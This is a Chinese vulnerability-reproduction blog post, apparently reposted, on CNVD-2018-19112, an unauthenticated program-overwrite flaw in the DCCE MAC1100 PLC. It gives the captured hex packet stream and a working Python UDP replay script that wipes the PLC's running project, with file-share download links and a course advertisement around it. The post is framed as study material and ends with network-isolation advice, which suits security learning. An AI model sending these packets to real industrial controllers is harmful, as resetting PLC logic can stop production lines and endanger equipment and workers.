由PLC未授权访问引发的工程重置漏洞
前言
MAC1100 PLC可編程邏輯控制器(PLC)是大連計(jì)控(DCCE)可編程邏輯控制器(PLC)系列中的一款產(chǎn)品。
早在2018年6月,CNVD官網(wǎng)通報(bào)了DCCE MAC1100 PLC存在任意程序覆蓋漏洞 ,其編號(hào)為CNVD-2018-19112。DCCE MAC1100 PLC存在任意程序覆蓋漏洞,漏洞源于MAC1100 PLC可編程邏輯控制器向PLC下載程序時(shí)未驗(yàn)證相關(guān)權(quán)限,攻擊者可通過遠(yuǎn)程下載程序的數(shù)據(jù)包,利用漏洞覆蓋任意程序。
通過對(duì)DCCE PLC的學(xué)習(xí),成功復(fù)現(xiàn)了此漏洞,筆者將其記錄下來以供大家學(xué)習(xí)與交流~
一、PLC編程與工程
PLC編程是一種數(shù)字運(yùn)算操作的電子系統(tǒng),專為在工業(yè)環(huán)境下應(yīng)用而設(shè)計(jì)。它采用可編程序的存儲(chǔ)器,用來在其內(nèi)部存儲(chǔ)執(zhí)行邏輯運(yùn)算、順序控制、定時(shí)、計(jì)數(shù)和算術(shù)運(yùn)算等操作的指令,并通過數(shù)字式、模擬式的輸入和輸出,控制各種類型的機(jī)械或生產(chǎn)過程??删幊绦蚩刂破骷捌溆嘘P(guān)設(shè)備,都應(yīng)按易于使工業(yè)控制系統(tǒng)形成一個(gè)整體,易于擴(kuò)充其功能的原則設(shè)計(jì)。
簡(jiǎn)言之,對(duì)于PLC工程可以理解為:PLC在程序執(zhí)行階段按用戶程序指令存放的先后順序掃描執(zhí)行每條指令,經(jīng)相應(yīng)的運(yùn)算和處理后,其結(jié)果再寫入輸出狀態(tài)寄存器中,輸出狀態(tài)寄存器中所有的內(nèi)容隨著程序的執(zhí)行而改變。
編寫PLC工程所用語(yǔ)言大概有五種,分別是梯形圖語(yǔ)言、指令表語(yǔ)言、功能模塊圖語(yǔ)言、順序功能流程圖語(yǔ)言和結(jié)構(gòu)文本化語(yǔ)言。
二、漏洞復(fù)現(xiàn)
2.1 環(huán)境需求
此次實(shí)驗(yàn)筆者用到了Mac 1100PLC、PLC_Config編程軟件、PLC工程示例等。
2.2 復(fù)現(xiàn)過程
1、下載一個(gè)空程序并獲取其數(shù)據(jù)包
首先下載一個(gè)空的PLC工程到PLC,并將該下載過程進(jìn)行Wireshark抓包,其目的是獲取PLC下載空工程的流量進(jìn)行重放。
聲明:為了減少PC機(jī)與PLC之間數(shù)據(jù)包的交互,用戶可以在下載程序時(shí)根據(jù)需求進(jìn)行網(wǎng)絡(luò)注釋、子程序指令注釋、帶符號(hào)變量的下載。
通過上述Wireshark抓取到的數(shù)據(jù)包,可以看到MAIN關(guān)鍵字,即一個(gè)PLC工程/空工程的入口函數(shù),與C語(yǔ)言編程類似。
PLC工程下載流程 (1)將PLC控制器切換為STOP狀態(tài); (2)清空PLC原有工程; (3)寫入新下載的工程; (4)重啟PLC
CPU的狀態(tài)為RUN; (5)將編程軟件切換為監(jiān)視模式;
2、下載正常工作的PLC程序至PLC
為了復(fù)現(xiàn)此實(shí)驗(yàn),需要下載一段正常工作的PLC工程到PLC中,而Dcce Mac 1100的編程軟件PLC_Config支持S7-200工程的導(dǎo)入。因此,這里直接在CSDN下載了S7-200的工程示例(以剪板機(jī)控制工程為例),下載的s7-200工程為.mwp格式,此處需要用到“STEP-7MicroWIN V4.0 SP9完整版”軟件將.mwp導(dǎo)出為PLC_Config支持的.awl格式。
STEP-7MicroWIN V4.0 SP9完整版下載鏈接:https://pan.baidu.com/s/1eaeIxyT3Ak1gSxCwYCsaGg 密碼:w41o
直接將導(dǎo)入的s7-200工程下載至Dcce Mac 1100 PLC
3、實(shí)現(xiàn)DCCE MAC1100 PLC存在任意程序覆蓋
首先要對(duì)第一步過程中獲取的數(shù)據(jù)流量進(jìn)行提煉與整理,我們將Wireshark獲取到的數(shù)據(jù)包的Data段進(jìn)行Hex Stream的復(fù)制,得到以下數(shù)據(jù)流:
0d008248120023006b00f82a010000000000 0d008248120023006b00f82a010000000000 0d0066a312002400f82af82a020000000000 0d00658511002500f82a6b008100000000 0d00167a140026006b00fb2a0100000003000000 0d006b0914002700fb2a26270000000000005e00 00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00以上流量可以采用通訊貓調(diào)試助手工具進(jìn)行單條重放,可以達(dá)到任意程序覆蓋的目的。
通訊貓調(diào)試助手工具下載 https://pan.baidu.com/s/1vAUXJZl-gpdEm8n5ga91gw 密碼:28ks
也可以編寫重置工程腳本,代碼如下:
#!/usr/bin/env python #encoding:utf-8 import socket,binascii,timesendsocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)ip = "192.168.1.181"port = 11000sendsocket.connect((ip,port))# sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500002c0e18000080110000c0a801c8c0a801b5ce3e2af8001884f70c00e64f1000080000009f0000000000')) # time.sleep(2) sendsocket.send(binascii.unhexlify('0d008248120023006b00f82a010000000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d0066a312002400f82af82a020000000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d00658511002500f82a6b008100000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d00167a140026006b00fb2a0100000003000000')) time.sleep(2) sendsocket.send(binascii.unhexlify('0d006b0914002700fb2a26270000000000005e00')) time.sleep(2) sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00')) print "PLC工程已重置!"
運(yùn)行腳本后再次上載PLC工程,發(fā)現(xiàn)第二步中下載的剪板機(jī)控制工程已重置為空,如圖:
三、總結(jié)
筆者在CNVD 工控漏洞專欄查詢了DCCE PLC的相關(guān)漏洞,總結(jié)出該產(chǎn)品絕大多數(shù)漏洞都是源于PLC的非授權(quán)訪問。根據(jù)工控安全的相關(guān)學(xué)習(xí)經(jīng)驗(yàn)來看不光是DCCE PLC存在此類問題,其他品牌的產(chǎn)品西門子、施耐德等也都存在類似漏洞,包括目前主流的工控協(xié)議也都存在類似漏洞。
因此,用戶在工控環(huán)境中使用PLC設(shè)備時(shí),盡量做到網(wǎng)絡(luò)的物理隔離、邏輯隔離,不必要時(shí)禁止PLC設(shè)置直接暴露在互聯(lián)網(wǎng)中,以免對(duì)工業(yè)企業(yè)造成巨大攻擊與損失。
我這里整理了網(wǎng)安的學(xué)習(xí)資料,有需要的可以點(diǎn)擊下面
價(jià)值11980安全學(xué)習(xí)資料包
總結(jié)
以上是生活随笔為你收集整理的由PLC未授权访问引发的工程重置漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 适合新手入门的漏洞调试与分析—CVE-2
- 下一篇: 【僵尸复活】【已通过】https的app